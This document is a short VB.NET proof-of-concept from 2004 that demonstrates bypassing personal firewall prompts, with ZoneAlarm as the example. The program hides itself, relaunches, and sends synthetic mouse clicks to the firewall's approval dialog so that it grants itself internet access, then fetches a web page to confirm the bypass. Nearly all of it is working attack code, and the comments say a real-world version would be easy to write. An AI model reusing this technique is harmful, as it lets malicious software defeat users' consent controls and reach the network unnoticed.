'*********************************************************** '// By Ferruh Mavituna '// ferruh{@}mavituna.com, http://ferruh.mavituna.com '*********************************************************** '// Date : 5/19/2004 '// Simple POC for Bypassing multiple firewall products '// Code : VB.NET '*********************************************************** Private Declare Sub mouse_event Lib "user32" (ByVal dwFlags As Long, ByVal dx As Long, ByVal dy As Long, ByVal cbuttons As Long, ByVal dwExtraInfo As Long) Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long) Private Const MOUSEEVENTF_LEFTDOWN = &H2 Private Const MOUSEEVENTF_LEFTUP = &H4 Private Const MOUSEEVENTF_MIDDLEDOWN = &H20 Private Const MOUSEEVENTF_MIDDLEUP = &H40 Private Const MOUSEEVENTF_RIGHTDOWN = &H8 Private Const MOUSEEVENTF_RIGHTUP = &H10 Private Const sleepTime = 0.5 'As Second Private Const slowMotion = True 'Debug ! 'Firewalls Const ZoneAlarm As Integer = 0 'Set Points Dim arrFirewalls(1, 3) As Integer Dim activeFirewall As Integer = ZoneAlarm Private Sub setupFirewalls() 'Get Current Screen 'This is just POC, Real World Example should automaticly detect installed firewall, change sleep times, car about exact positoin, taskbar position etc. But It's easy to write a real world example Dim screenY As Integer = Screen.PrimaryScreen.Bounds.Height Dim screenX As Integer = Screen.PrimaryScreen.Bounds.Width arrFirewalls(ZoneAlarm, 0) = screenX - 250 'X Remember ! arrFirewalls(ZoneAlarm, 1) = screenY - 130 'Y arrFirewalls(ZoneAlarm, 2) = screenX - 190 ' Yes arrFirewalls(ZoneAlarm, 3) = screenY - 93 End Sub Private Sub frmFirewallTest_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load 'Hide App Me.ShowInTaskbar = False Me.Visible = False 'Args Dim flagArg As String = Application.ExecutablePath If Environment.GetCommandLineArgs().Length > 1 Then 'Sleep; Sleep(sleepTime * 1000) 'Try; setupFirewalls() If slowMotion Then Sleep(1000) 'First Access bypassFirewall(arrFirewalls(activeFirewall, 0), arrFirewalls(activeFirewall, 1)) If slowMotion Then Sleep(1000) bypassFirewall(arrFirewalls(activeFirewall, 2), arrFirewalls(activeFirewall, 3)) 'Gain Access for HTTP Sleep(300) If slowMotion Then Sleep(1000) bypassFirewall(arrFirewalls(activeFirewall, 0), arrFirewalls(activeFirewall, 1)) If slowMotion Then Sleep(1000) bypassFirewall(arrFirewalls(activeFirewall, 2), arrFirewalls(activeFirewall, 3)) 'Quit ! Me.Dispose() Else System.Diagnostics.Process.Start(flagArg, "skipme") 'Access Internet If downloadURL() Then MessageBox.Show("Successed !, Firewall ByPassed !", "Firewall ByPassed !", MessageBoxButtons.OK, MessageBoxIcon.Warning) End If Me.Dispose() End If End Sub 'Bypas POC Private Sub bypassFirewall(ByVal X As Integer, ByVal Y As Integer) 'Save Old Positions for return ! Dim oldX As Integer = Cursor.Position.X Dim oldY As Integer = Cursor.Position.Y 'Set New Position Cursor.Position = New Point(X, Y) 'Click mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0) mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0) 'Return Cursor.Position = New Point(oldX, oldY) End Sub 'Connect Internet Private Function downloadURL() As Boolean downloadURL = True Try Dim wc As New System.Net.WebClient() wc.DownloadFile("http://ferruh.mavituna.com", "C:\firewalltest.htm") Catch MessageBox.Show("Can not connected !", "Not Connected !", MessageBoxButtons.OK, MessageBoxIcon.Error) downloadURL = False End Try End Function